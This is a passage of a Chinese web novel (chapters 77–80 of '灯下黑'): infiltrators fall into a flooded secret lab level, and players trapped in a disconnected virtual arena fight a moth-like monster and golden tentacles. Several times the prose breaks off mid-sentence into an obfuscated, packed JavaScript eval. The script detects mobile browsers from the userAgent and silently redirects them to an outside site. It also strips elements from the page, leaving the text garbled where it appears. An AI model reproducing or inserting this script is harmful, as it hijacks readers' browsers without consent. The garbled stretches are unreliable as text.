李瑞千微微侧头，看着实验室的大门缓缓关闭，她勾勾嘴角，扭过头，抬眼看向站在身侧的人：“你们要不要坐下来休息一会？” 崔斯特的两名手下连忙拒绝：“不用了，谢谢……” 他们的声音逐渐变小，身姿笔挺却僵硬，双眼失焦呆愣地站在原地，下一秒，空气微微震荡，一个无色的罩子将角落的一群人完美地包裹起来。 从外头看过去，他们正在进行友好的交谈。 “李瑞千”用她绿莹莹的眸子瞧了眼身后的人：“我们俩只能在这呆着，后面就靠你们了。” “路亚。” 被作战服包裹地密不透风的三人点点头，中间的女人迅速拉起左右成员的手，下一秒，一个圆形的空洞出现在她脚下，一眨眼的功夫，三人就消失在原地。 碗形的罩子此时才露出全貌，它不只是包围了这个角落，而是一直往下，穿透了每一个楼层，形成了一个条形的屏蔽隧道。 四十七层…… 四十八层…… 三人坠落的速度越来越快，毫无阻碍地穿透了四十九层的地板，来到了此次行动的目的地。 斯塔集团研究所神秘的地下五十层，藏着整个研究所最高机密的项目数据。 “警戒。”路亚低声说道，紧接着三人非常丝滑地落入了五十层……的深水中。 “咕噜噜……” 有成员猝不及防地呛了口水，满嘴的咸腥气涌进气管，他没忍住又吐出一串泡泡，脸都变得通红才讲这强烈的不适按下。 跟他们的预期完全不同，就连备用计划都被这突然的意外打破，这里没有守卫严密的实验室，而是一个巨大的，贯通天花板和地板中的深水池。 路亚向上浮了浮，很快顶到了天花板，连换口气的机会都没有。 但很明显，这里在畜养某种生物，如果这一层有人，那也只会在池子外面，但他们现在根本无法确定这个池子究竟有多大。 监测池内情况的工作人员会不会已经发现他们了？ 路亚感觉到不妙，她向另外两位成员打了打手势，示意他们不要分散，做好随时离开的准备。 三人的腰间用粘性束带紧紧扣在一起，路亚才稍稍放下心来，右手边的成员朝她做了个向下的手势，紧接着三人同时推了一把天花板，慢慢往下沉去。 心脏在砰砰直跳，突然的缺氧让他们无法在水中停留太久，只能尽力探索。 水体混浊，漂浮着细小的碎屑，路亚感觉眼睛已经有些疼痛，她用力眨了眨眼，却变得更加酸涩，几乎要睁不开来了。 这水里是加了多少消毒液。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13139431|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 脚下黑乎乎的水体深不见底，直叫人开始打退堂鼓，这么大的地方，里面绝对不会住着什么温和无害的小东西。 路亚嘴边溢出最后一串泡泡，肺部的空气已经几乎被压榨完，她朝队友摇摇头，三人只能开始往上浮，趁她还能清醒地使用异能，他们得离开这个地方。 三人的下方，一道巨大的黑影正缓慢而悠闲地掠过，它似乎被什么吸引，开始慢慢跟随他们向上，水中也出现奇怪的嗡鸣声。 你身上有味道。 路亚惊讶地看向身边的同伴，却得到了疑惑的视线。 [怎么了？]同伴朝她打手势。 她好像听见有人在说话，但在这样的深水里几乎是不可能的，路亚缓慢摇了摇头，又做了一个迅速向上的手势。 也许是缺氧产生的幻觉，得加快速度了。 她双腿用力，三人又向上浮了两个身位，但下一秒，她就被固定在原地，不管怎么游动都无法前进。 粘性束带被拉到最长，同伴们回头看了一眼，路亚却从他们的眼神中看到了恐惧。 有什么东西握住了她的小腿，两秒的沉寂过后，一道巨力猛地将她往下拉去，粘性束带另一头的两人嘴边吐出一串泡泡，也跟着她一起沉了下去。 “唔！” 路亚张开嘴，已经没有空气冒出来，她努力弯下身子，试图摸索是什么在拉着她，但就在触及一个软软的物体时，那东西突然松开了。 她浮在水中，眯着眼低头往下看，缺氧已经让路亚开始眩晕，但仍然可以看到，一条宛如巨大蟒蛇的东西，正慢慢悠悠缩回到黑暗中。 不知道是什么原因导致它突然放开，但现在显然是他们逃跑的时候。 “砰！” 周围突然传来沉闷的撞击声，池中的海水剧烈暗涌，眼见路亚的手脚开始无力，另外两名成员不再犹豫，一人拖住一只胳膊，就把她往上拉。 路亚要是失去意识，他们三个人全都得死在这。 巨大的黑洞出现在天花板上，一行人的身影瞬间消失，只有四十九层地板上浸出的一点水痕，证明了有人曾经来过。 此时的深水池之外，几个工作人员正严阵以待地盯着监控数据，整个五十层，他们的办公场地只有小小一块，面前顶天立地的玻璃幕墙后，是一片绿到发黑混浊水体。 一条黑色的触手慢慢悠悠缩了回去，丝毫看不出刚刚就是它一巴掌糊在玻璃墙上，把整个池子都震得抖了三抖。 “什么意思？”一人心有余悸地开口。 “不知道，我们对它的研究还只停留在……维持它的存活，剩下的还没有进展。” “那能看到池子里是什么情况吗？它突然有这么大动静，怎么也得找到原因吧。” “只能尽量，由于它的干扰，我们无法检测池内的情况，只能等它待会休眠的时候，试着扫描一下。”工作人员顿了顿，又补充了一句，“不过您放心，它的精神波动还是很平稳的，可能只是……心情不太好。” 那人勉强接受了这个猜测，毕竟早就习惯了每天过来，却没有任何进展，要是哪一天突然有了变化，他反倒不适应了。 “等等！主管！它的精神波动突然消失了！” 77. 灯下黑（77） 尽管外面已经兵荒马乱，但赛场中的选手们暂时还没有发现异常，但这样的光景显然维持不了多久，数据信号已经丢失，如果乌托邦无法在限定时间内恢复链接，那么整个虚拟赛场将强行关闭，所有人都得被踢下线。 “我好像看见钥匙了。”简初将倍镜递出去，示意他们也看看，“一点钟方向，那排平房最边上的烟囱，露了半截亮晶晶的，看起来好像是钥匙柄。” 傅燃透过倍镜看了一会，有些沉默地将东西交给了苏益文。 “这反应是怎么回事，让我看看……”后半截话被他硬生生咽下，他反复将倍镜拿下又举起，似乎在确认自己没有看错。 “这钥匙……个头还不小哈哈。” 不怪他这么说，露在烟囱外的钥匙柄有人半个手臂长，周围还镶着一圈粉红色的光晕，很像是益智类小游戏里的Q版道具，跟整个场景的画风格格不入。 “老样子，我架狙，你们去。”简初说。 “你小心点。”傅燃这次多叮嘱了一句，两人迅速沿着起伏不平的屋顶接近钥匙的所在地。 不知道为什么，从刚刚开始，简初就感受到一阵莫名的心慌，精神力也有些躁动，她进行精神力扫描的消耗明显要比之前高出一大截。 她不可避免地想到了无影安排的任务，但显而易见，她此刻并没有从乌托邦掉线，也许并不是温弗拉那边的问题？ 精神力此时正狂躁，却兢兢业业地将周围的情况反馈回来，异种群正在毫无规律地游荡，它们往安全区域扩散的速度比之前快上不少，想必很快，整个场景里就没有安全的落脚点了。 还没等她眉头松动，涌动的精神力向她反馈了一声搏动，沉闷、有力，让人以为是错觉一样快速平寂的，鲜活的心跳。 什么东西？ 简初下意识打开控制面板，想要确认之前接到的任务，入目却是一片虚无——半透明的面板，像一张摊开的大饼，就这么随便地出现在了她面前。 上面一个字都没有。 “呃……”简初歪歪脑袋，重新打开了一次，结果仍然没有变化，就连角落里的“弃权”按钮都消失了。 好像真出问题了，而且还是大问题。 对于其他人来说，危机来源于与乌托邦的脱节，但对简初来说，她还面临着温弗拉计划的重大变故。 不管现在的状况是不是温弗拉动手导致的，她无法下线已成为定局，无影的安排只能成为废纸一张，更要命的是她并不清楚温弗拉的目的，如果他们是要对乌托邦做些什么，那现在处于赛场内的所有选手，都将面临威胁。 虽然信号丢失，但赛场依旧在按照既定的剧情运行，如果提前完成剧情，是不是就能离开了。 …… “我看到钥匙了。” 秦理睁开眼，却一时有些站不住，左虞珩连忙扶住她。 “怎么回事，消耗这么大吗？”他皱着眉问道。 “有一点。”秦理闭上眼缓了缓神，“不知道为什么，离开图书馆之后，我的异能用起来就有点吃力，难道是因为第二阶段的影响吗？” 以往不是没有这种情况，比赛每进入一个新阶段，就会对选手们的能力进行限制，从而加大对抗的难度。 “缓一缓就好了，事不宜迟，我们赶紧过去。”秦理动了动肩胛骨，甩甩脑袋，确认状态还算可以。 “行，有什么不对及时告诉我。”左虞珩点点头。 两个人在街道中不停穿行，迅速接近目的地，因为不知道场景内的“钥匙”一共有几把，只能暂时躲开异种群，放弃刷分。 “就在前面了，还是老样子。”秦理侧头看了一眼，“我先你后，如果遇到其他人……” “有人来了。”左虞珩突然压下秦理的脑袋，两个人扒在窗边，露出眼睛朝声音的方向看过去，两道身影正沿着屋顶朝烟囱而去，目的十分明确，可以确定对方也发现了钥匙。 他们穿的破破烂烂，衣服上深一块浅一块都是沾染的异种体/液，后面那人腰间别了一把激光枪，其他什么武器都没有看见。 “抢？”左虞珩用气音问道。 “抢！” 钥匙近在眼前，甚至能听见细细的提示音响起，傅燃再一次加快了速度，搞得身后的苏益文苦不堪言，他之前能跟上已经是拼尽全力了，没想到这哥还能更快。 傅燃落在平房隔壁的屋顶上，只要跨越两栋房屋之间的空缺，就可以把钥匙收入囊中，他不再犹豫，一个鹞子翻身，滚落在平房上，一只手已经伸出，即将触碰到钥匙。 但就在此时，变故陡生。 苏益文看到前面那人突然急刹，脚底板几乎都要冒烟，他脑袋中刚生出“怎么了”这个念头，还没来得及问出口，就看到一道光束穿透了烟囱的角落，留下一个焦黑的孔洞，如果没有及时停手，恐怕这会胳膊已经没了半条。 “有人。” 傅燃迅速判断出攻击的来处，闪身躲在了烟囱之后，他试图探出头查看情况，但却被第二道光束阻止，崩裂的砖块飞溅开来，在他脸上划出一道血痕，也让他表情变得更加冷淡。 他并不想在这里浪费太多时间，既然对方要来，他就只能把他们淘汰了。 苏益文此刻已经翻下屋顶，躲在旁边的屋子里，他稍稍探头看了一眼，不远处的房顶上跳下一个身影，而另一个人还在用抢瞄着张三。 不知道瑞思拜有没有发现这边的情况。 正当他这样想着，一道属于穿/甲弹的破空声划过，准确地击中了那人的落点，却被空中突然浮现的光罩挡住了。 防御型异能？那就难办了啊。 远方的狙击没能阻止对方的行动，反倒是吸引了另一名持枪人的注意，不过因为距离问题，最终暗处的人并没有开枪。 那人已经离烟囱很近了，苏益文直接从房屋另一边离开，攀着屋檐又翻上了房顶，上来就是拔枪、瞄准、射击，丝毫不拖泥带水，此时远处飞来第二颗穿/甲弹，跟他的激光枪一起，封锁住了对方的路。 烟囱背后的傅燃毫不犹豫拔刀，乍亮的激光刀一瞬间映亮了三人的面孔，也照亮了对方身上紧贴的的保护罩。 傅燃瞳孔骤缩，收刀已经完全来不及，他手指微动按灭了激光刀的开关，顺势扭转身体，躲开了又一道光束，抬手格挡了对方的攻击，直接捏着他的手腕，将人掀翻在地，按在了地上。 “是我，傅燃。”他低声说道，对方便下意识停住了挣扎的动作。 两人距离太近，怕被误伤，一时间两方的持枪人都停下了攻击，傅燃知道简初能看到，便抬手示意停战，趴在地上的左虞珩像一条死鱼，慢悠悠坐起身，也做了个停手的动作，并且示意秦理过来。 这人开口说话这调调，本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他擦了擦额头上的汗，往年的比赛中几乎用不到用到医疗组，谁能想到今年遇上这档子事。 “精神力消耗过度，需要至少半个月的休息，现在不确定是因为淘汰脱离导致，还是说逗留越久消耗越大，医疗组刚刚紧急讨论过，建议是强制脱出。” 但淘汰脱离和强制脱出，也许会带来不同的结果。 “校长！” 有人从门外匆匆跑进来，昂着头看了一圈，眼神落在席如风身上时明显亮了亮。 “联邦理工那边开始强制脱出了，不知道他们是得到消息还是什么，您看我们是不是也……？” 席如风知道他的意思。 有联邦理工在前，他们照做在后，就算出了什么问题也是法不责众，但要是因为操作不及时导致严重后果，那么联邦军校将会被钉在耻辱柱上，受到无止境的攻讦。 “呼——” 席如风长叹了一口气：“先问问学生里面是什么情况，其他几所学校的动向也及时跟我汇报，尤其是联邦理工。” 虽然用别人做参照物的行为有一些残忍，但她无法插手其他校长的决定，只能在自己力所能及的范围内，保障军校学生们的安全。 希望联邦理工那边能有好结果。 78. 灯下黑（78） “啊，你们来了。” 简初摸着她的宝贝狙，抬手朝进来的几人打了个招呼，看上去有些恹恹的。精神力的消耗开始变得越来越夸张，甚至已经超过了在现实中使用的消耗。 按照这个速度，再用下去会被抽干的吧。 为了自己的人身安全，简初只能暂且收回精神力，不到万不得已不再使用。 “幸运值MAX！”秦理一个大跨步，直接抢到第一个，“居然真的碰上了！” “别说了，要不是……”左虞衡面露苦涩，“要不是我用了异能，都被你一枪崩死了。” “你们跟我也没客气。”傅燃面色平静地垫了一句，搞得左虞衡只能抬头望天……花板，装作无事发生的样子。 苏益文在角落里缩成鹌鹑，生怕被这几个人关注到。 “出了点问题，钥匙没拿到。”傅燃说，“也许是卡住了，还是有别的触发条件，总之不太清楚，就先回来大家商量一下。” “不用商量了。”简初的瞪着死鱼眼，举起了手，“不幸的消息，我们断联了。” “啊不，准确的说是，乌托邦断联了。” 此话一出，不出所料得到了四张茫然的脸。 “断联……是什么意思？”左虞衡讷讷开口。 “打开你的面板就知道了。”简初耸耸肩，“所有按键内容都消失了，我们现在没办法跟乌托邦取得联系，连弃权都不行。” “坐标崩溃。”傅燃看着面前打开后一片空白的面板，低声说道，“用于搭建赛场的坐标出了问题，我们现在被关在里头了，想要安全离开就只能……” “提前通关。”简初截下了他的话，“已经没有五天的时间了，场景正在缓慢崩溃，你们没发现异能用起来都比之前要吃力很多吗？” “按照这个速度，不出三个小时，整个比赛场景就会完全溃散，在这之前我们想要离开，只有两个选择，一是被淘汰，二是提前通关。” 其实还有第三个选择，那就是乌托邦恢复连接，但现在看来温弗拉的行动显然与计划不同，她不能把希望寄托在这上面。 “想要提前通关，只能完成主线任务。”左虞珩突然叹了口气，“这么看来，还得多谢之前触发主线的那家伙，否则以现在的情况，已经没办法再触发任务了。” 他和秦理相顾无言，却后知后觉感受到其他三人饱含复杂情感的眼神。 “喏，人在那，谢她去吧。”傅燃好笑地摇摇头。 简初瞧着两人眼睛睁大，嘴都微微张开，虽然脸还是赛场中的随机形象，但还是能看出来原本的气质。 “现在这不是重点，我们得做好准备，如果能拉上其他选手就更好了，乌托邦虽然断开了，但赛场在溃散前依然会根据设定运行，那只异种很快就会找上门来。” 就是不知道特殊阵营有多少人，如果异种先去找了其他人，这个时间就不是他们能把控的了。 “可惜现在没有什么操作空间，不然把你们俩都拉进阵营，人数目标大一点，或许异种会先来找我们。”傅燃说。 说到异种，简初突然想起之前扫描时，感受到的那一声心跳，但按照常理，乌托邦上应当只会体现出精神波动，心跳什么的，也太玄乎了点。 不过她接触虚拟对抗的时间太短，经验不足，无法判断这种情况究竟会不会出现，但至少，这是一个不一样的征兆。 “我们也许应该往北边走。”简初说。 …… “凯文，我们现在该怎么办？”有人抹了一把脸上的血迹，有些沉重地问道。 救援队的名头根本没能派上用场，第二阶段开始，异种群的攻击一视同仁，好不容易从异种群逃出来，就只剩下他跟凯文两个人了。 这一波的异种强度太高了，再加上数量压制，他们俩能活着逃出来已经是幸运值爆表了。 他们俩此刻已经接近整个地图的中心，正常来说这里应该是最安全的，毕竟异种们还没有来得及扩散过来。 “先缓缓。”凯文喘着气，闭上眼向后仰靠在墙壁上，他的枪掉在一边，闪烁着临界值的红光，暂时已经没办法再使用了，第二阶段的难度完全超出预期，这跟他赛前得到的信息完全不一样。 不过就算是米勒尔，也不能完全插手乌托邦的星网管理程序，拿不到完整准确的信息也正常。 “凯文……” 他闭着眼，听见身旁的人颤抖着声音喊了他一声，有些不耐烦地睁开眼：“又怎么了？” “你看……那边……！”这人的声音到最后已经完全变了调，他的面色甚至比刚才还苍白，透出一点没有人气的灰败，这下凯文终于发现了不对劲。 他转头看过去，地面上钟楼的投影边，一坨巨大的黑影正在缓缓蠕动，凯文艰难地咽了口唾沫，缓缓抬头，那一坨被他们认为是异种分泌物的粘液，此刻正不断鼓动，伴随着“嗤啦”一声粘腻的声响，上面破开了一个口子，一对皱皱巴巴的翅膀伸了出来。 过了两秒，中央的躯体终于冒了出来，层层叠叠的肉堆成一圈一圈，上面覆盖着薄薄的毛鳞片，在暗淡的日光下反射出五彩的瘆人光晕，从上到下一共三对手臂，倒是像人的胳膊一样光洁，但搭配在一起却令人作呕。 它翅膀鼓动了两下，登时就像充了气一样迅速膨胀，灰黄色的细小绒毛簌簌落下，仿佛一场汹涌的沙尘暴，它的触角动了动，接着那张勉强和人类沾边的面孔突然转了过来，直直看向凯文。 完蛋。 这是凯文下线之前的最后一个念头。 …… “真的会来吗？”苏益文喃喃道。 时间一分一秒过去，坐在屋顶上的三人都有些百无聊赖，作为特殊阵营的成员，他们当仁不让地担负起了作为“诱饵”的责任，而秦理和左虞珩则躲在不远处的房屋里，以便随时支援。 简初的狙也交给了他们，换了一把可以近距离作战的光束枪和一柄粒子切割刀，不过光束枪的剩余能源已经不多了，不知道还能撑个几发。 这个位置是也很开阔，三个人背靠背，各自朝向一个方向观察情况，目光所及没有其他选手的踪迹，但令人诧异的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“它追着其他人过来的。”秦理从倍镜里看见了其他选手的身影，但很快又被楼房挡住了视线，“简初他们也看到了，正在往那边汇合。” 她抬头跟左虞珩对视一眼，两人立刻收拾东西，赶往下一处合适的狙击位。 …… “现在怎么办，下一发充能要一分钟！”跑在前面的男子吐出一句国粹，“都说了让我来用，你又瞄不准！” “把臭嘴给我闭上，射击课倒数还有脸说。”他身后的女子背着一个粗壮的炮筒，喘着粗气紧跟着，但奇怪的是炮筒的各个部件看起来并不协调，倒是像从其他地方拆下来，拼拼凑凑组装成的，“东西我装的，我怎么用关你屁事！” “……”前头的人不说话了，只是埋头往前冲，一时间两人的距离又拉开不少。 本事没有，就剩一张嘴，放进焚化炉都烧不干净。 路可娴翻了个白眼，脚下一转，钻进了另一条巷子。 一分钟说长不长，说短也不短，要是运气好，她完全可以撑到充能完毕，她抬头瞥了眼天空，异种正慢慢悠悠地扇动翅膀，朝另一人追去。 祝他好运。 79. 灯下黑（79） “小心！” 巨大的黑影从三人头上掠过，带起的风夹带着细碎的鳞粉，钻进鼻腔直叫人狂打喷嚏，头晕目眩。 “鳞粉有毒。”简初迅速扯下衣角的一块布料，捂住口鼻后紧紧扎在脑后，虽然并不能完全防御这些粉末，但聊胜于无。 刚刚他们亲眼看见了这只异种伸出手臂，从背后掏空了一名选手的胸膛，不过那人虽然在原地抽动了一会，最后还是顺利化成数据流消失在了原地，这也给几人吃了口定心丸。 被异种淘汰是可以顺利离开的，但会受到什么样的精神冲击，就是个未知数了，如果可以，还是尽量避免在此时受伤，致命伤就更不用说了。 也许是身上的“阵营光环”有了效果，异种在空中打了个旋儿，紧接着以相当诡异的速度朝他们俯冲而来，但狭窄的巷子限制了它的发挥，只能在接近目标的时候猛然收起翅膀，三对胳膊同时张开，短却尖利的指甲散发出漆黑的寒光。 傅燃扭身抽到，顺着刀势激光弹射而出，简初配合他弯腰躲开，激光刀带着绚烂的拖尾在空中一闪而过，就算异种已经感受到危险，但想要收势也已经来不及了。 它在空中侧起身子，肥硕的躯体躲开了这一刀，但翅膀却没有幸免于难，半扇翅膀被利落地削断，“啪叽”一声掉在地上，甚至还像金属片一样弹了弹。 失去了半边翅膀，异种的平衡陡然被打破，直接脸冲下滑了出去，在地面上拖出一道长长的深坑，看得简初都没忍住摸了摸脸，似乎感受到幻痛。 这脸皮，也是蛮厚的。 异种六肢并用，急忙从地上爬起来，但他们显然不会给它这个机会，两道枪声先后响起，精准地钻进它的腹部，爆出恶臭粘稠的血液来，紧接着从远处的高楼里飞射而出的穿/甲弹，更是直接击碎了一条上肢。 “唔。” 三人不约而同皱眉，往后退了一步，被这腐朽的臭气熏得眼睛都开始酸痛。 “有戏！”尽管被熏得不行，但苏益文还是十分高兴，这只异种的防御力并不算高，能造成有效伤害，一切就好说。 但正当他们这样想着，异种的后背却开始咕涌，它用单边翅膀裹住了自己，而另一边的半截断翅却被躯体内部的鼓动顶了出去，不过几秒钟，一条皱皱巴巴却完好的翅膀就出现在了原处。 牺牲了防御为代价，换来的是超强的恢复力。 简初暗道不妙，手下连忙又射出两枪，“噗噗”两声又在身躯上打了两个孔，但异种看起来却毫不在意，它站起身，转了过来，看得人下意识后退一步，甚至要错开目光缓和一下自己的精神状态。 这是一只巨大的飞蛾，它的身体一圈一圈像用轮胎堆起来的，上面叠着一圈圈的片状绒毛，但上头的五条胳膊都是光洁的人类手臂，它的头部近似于人类，但顶端是两只巨大的复眼，最高处竖着两根粗长的绒羽。 它动了动自己的新翅膀，看起来在适应，但密密麻麻的鳞粉从翅膀上掉下来，像一团厚厚的雾气朝他们飘过来。 “我勒个去，好掉san。”简初低声吐出一句，得到苏益文疯狂的点头赞同。 “这就是实验体BOSS，也太……”话说了半截，他也没办法找到更合适的形容词了，但这不重要，因为一眨眼的功夫，他就这么消失在了原地。 简初眨眨眼，确认那只异种没有动手。 “应该是场外开始进行处理了。”傅燃下意识松了口气，如果动作够快，他们就没必要跟这只异种搏斗了，他算是见过很多异种，但此时也明白了现实跟想象之间的差距。 现实中不会有这么离谱的玩意，果然人类的想象力是无限的，它的压迫力不是来源于“实力”，而是未知之物的恐惧。 “看起来猜的没错，果然是实验产物。” 简初：“……” 这时候还想着剧情线，我是该夸夸你吗？ 异种仿佛对他们的反应很不满意，它动了动足肢，头一仰，一条奇长的口器从嘴里弹射而出，直扑简初面门，幸好她早有准备，拧身一刀将其斩断，两人对视一眼，一左一右顺势欺身而上，她锐利的刀尖顺滑地切入了异种的胸膛。 近距离抽刀带出的血液被简初避开，但异种对此反应平平，甚至有空朝简初摆了摆触角，不知道想做什么。 简初没有多余的心思管它，顺着拔刀的力道抬起一脚，直接把异种踹飞了出去。 “轰！” 异种倒飞而出拍在墙壁上，鳞粉砰然炸开，在斑驳的墙壁上画出一个清晰的轮廓。 “秦理不见了！”秦理抱着枪匆匆跑过来，在巷子旁的楼上探出脑袋，满脸急色。 她那边的楼栋闯入了一批异种，没有左虞珩防守，她根本没办法用狙。 “应该是场外介入，强制脱出了，别担心。”简初昂着脑袋，跟她解释了一句，顺手把有些烫的光束枪向上抛去，“用这个。” “谢了。”秦理毫不犹豫丢下狙，翻出窗户，矫健地落在地面上。 不知道是不是简初的错觉，从刚刚那一刀开始，她就感受到一道莫名的窥视落在身上，来源……似乎是这只异种。 她眯起眼看过去，却在异种的身后看到一个鬼鬼祟祟的身影。 是一个年轻的女子，蓬头垢面地背着一支巨大的炮管，看规格完全超过了物资箱的长度，不知道她是从哪儿搞来的。她偷摸探出脑袋，又迅速缩了回去，接着又小心冒出半截身体，见简初看过去，眼睛一亮，连忙把身后的炮筒拖到身前，疯狂明示。 这边三个人都看见她了，不约而同向左偏了偏头，整齐划一，有一种令人无言的搞笑感。 “把它往远处引一点，这个杀伤力太强了！” 路可娴满脸急切，疯狂朝他们做手势，手指都要翻出花来，她的炮筒已经充能完毕，因为材料有限，所以它有一个极大的缺陷。 一旦充能达到百分百，一分钟内不使用就会原地爆炸。 在这样狭窄的巷子里，还是如此近的距离使用，爆出的能量足够把所有人都拱飞，况且拉远一点距离，有助于她瞄准，距离过近的话，异种的动作幅度会尤为剧烈。 简初的切割刀在手里翻出一个刀花，异种的注意力被她成功吸引，傅燃和秦理则是分别攀上左右的高楼，三人在不同的路上往同一个方向奔去。 异种翅膀微微一动，如离弦之箭迅速跟上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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得知联邦理工那边强制脱出的学生们并无大碍，席如风就立刻下了命令，这会大部分学生都已经顺利苏醒，总算是没捅出什么大篓子…… “现在进度已经过了大半，大概还有两分钟，所有学生……” “不好了组长！！！”一个年轻人匆匆忙忙跑进来，脸上带着肉眼可见的慌张，“有个学生出不来怎么办，强制脱出没有反应，现在重连也不行了！！！” “怎么可能！在哪，快带我过去！” 这下席如风也坐不住了，立马跟着他们离开大厅：“是哪个学生，信息调出来了吗，是不是精神力有缺陷？” 年轻人看了眼自家组长，也不敢打包票，只能喏喏开口：“人是精神控制学院的，精神力应该没问题。” 席如风还在脑里盘算，就听见他又补了一句。 “哦！就是触发主线的那位，叫什么来着，瑞思拜？” 席如风：“……” 要了命了。 80. 灯下黑（80） 话音刚落，傅燃就瞬间消失，至此，整个赛场里只剩下简初一人，和身边正在缓慢重置的场景。 不，还有地上那只抽动的异种。 简初很确定它死了，因为这东西的整个脑袋都被炸飞，只剩下空空荡荡的半截脖子，但它的身躯确实在不停地抽动，时不时鼓出一块，就像—— 它身体里有什么在往外钻。 “对抗场景计算中，主线任务进度30%……？？？核心异种已被击杀，主线任务进度100%。” “参赛人员退出，场景重置中……人员退出异常，外联信道强制关闭，全局检索异常信号……” “检索失败，第二次尝试强制人员退出，失败……警告警告……” 在这不算恰当的时机，乌托邦似乎找回了自己的控制权，简初耳边一直在重复嘈杂的系统播报，很显然，乌托邦在不断尝试把她踢出去，却又不断失败。 核心异种除了这只扑棱蛾子没有第二个选择，但为什么乌托邦报了击杀，它却还在动？ 简初感到有些眩晕，但仍然沉默地静观其变。 突然，有什么东西将飞蛾臃肿的胸腔顶起，伴随着“噗叽”一声轻响，穿透了表层的坚韧皮肤，露出了头。 一点细细的，闪耀着金色光泽的尖尖，在空气中蠕动，朝简初的方向竖了起来，紧接着它越来越长，越来越粗，飞蛾的尸体仿佛一个无底洞，不断地往外冒出柔软的触手。 简初重新感受到蓬勃有力的心跳，这声音近在咫尺，每次搏动都传来对方莫大的喜悦。 面前伸出的无数触手有着令她胆寒的模样，它们兴奋地围过来，表面闪着神奇的金光，拱卫着中央的少女，缓慢而又亲昵地蹭过她的脚踝。 冰冷滑腻的触感让简初不自觉打了个冷战，她的精神力开始不受控制，悄咪咪地溜了出来，贴上了外头的大家伙，一瞬间，对方繁复的心声突然传进简初的脑海。 [好香……找到你了……] [吃掉……] [去哪了……摸不到……] [吃掉！吃掉！吃掉！] 触手们摩擦之间发出瘆人的响声，中间原本属于飞蛾的躯体已经变得干瘪，似乎被掏空了养分，它们高高扬起，往四周扩散开来，还有几根正在简初的脑门上乱摸。 简初额角流下的冷汗带来巨大的痒意，原本释放在外的精神力也不敢轻举妄动，生怕一不小心被感知到。她掂了掂手里的刀，找准机会向外扔去—— “咚！” 一声闷响，吸引了触手们的注意，它们飞快地蠕动过去，但没走多远就念叨着[这边怎么不香]，又回头像蟒蛇一般盘了起来。 简初趁着机会，从它们的中央悄悄溜走了。她躲在不远处，看着触手们抱着顶替她的圆桶，到处摸来摸去。 简初安抚了一下胳膊上的鸡皮疙瘩，再次蹑手蹑脚地往后方退去，周围的场景都已经重置完毕，她仍然见不到下线的希望。 她不会游离了吧？！ 所谓精神游离，就是精神力在星网上迷失，无法找到回归坐标，也无法被乌托邦检索到，但这只是理论研究上会出现的意外，乌托邦建设至今仅发生过一次。 现在不是考虑这些的时候，她需要先离开这个巷子，越远越好。 这么想着，她暗骂了一声“胳膊肘往外拐”，强行拽回正跟对面贴贴的小触手，就打算冲出巷口，但就在背过身的一瞬间，背后传来一阵凉意，简初下意识扭头，就瞥见数十条触手高高昂起，末端微微勾着，准确地瞄住了她。 没有小触手的接触，她已经听不见那道有点疯癫的声音，但这画面的含义显而易见。 它们发现自己了。 蠕动的触手发出“哧溜哧溜”的滑行声飞速追上，其中速度最快的一根眨眼间就冲到简初面前，冷冰冰地卷上脚踝，将人倒提了起来，它动作十分轻巧，就算简初在上面不停晃荡，看起来也毫不费力。 两边的场景在飞速倒退，耳边呼呼的风声掠过，简初意识到自己马上就要被拖回它跟前。 她手一扬，准确握住房屋侧边凸起的砖块，巨大的拉力作用到她的肩胛骨，几乎要将手臂撕扯下来，脚上的牵拉力又增强了不少，她连忙伸出另一只手，一起紧扣着砖块，才勉强跟触手们抗衡。 她手指的骨节攥得发白，甚至已经开始发出咯吱咯吱的响声，明显可以感受到手指在慢慢向外滑，简初的胸口极速起伏了两下，仿佛下定了什么决心。 下一秒，她猛然松开双手，甚至借力在墙上推了一把，由于场景重置，她手头的武器都已经消失，金灿灿的“触手长刀”突然出现在她手中，顺着对方拉扯的力道，直接往它们的根部冲去。 那里是干瘪的飞蛾尸体，但也是触手们“生长”出来的地方。 简初像弹簧般被拽了回来，身影在高空中停滞，脚下是簇拥的金色触手，挤挤挨挨的缝隙中还能看见属于飞蛾的干瘪躯体，数十条触手仿佛在风中狂舞的菊花花瓣，挥动间透露出按捺不住的急躁。 就是现在！ 简初挥起一刀，丝滑地斩断了捆缚住脚腕的触手，断口平整，意料之中的没有血液迸溅，但下一秒，停留在她脚上的那一截突然崩散，细碎的闪光朝她扑来，毫无阻碍地渗进了她的身体！ 这一下，简初浑身都冒出了冷汗。 一股凉意沿着小腿窜上天灵盖，然后消失。 [被吃掉了。] 简初惊悚地感知到自己脑海深处传来的声音，冰冷中带着疯狂，重复的速度越来越快，最后变成无意义的蜂鸣音在大脑里回荡。 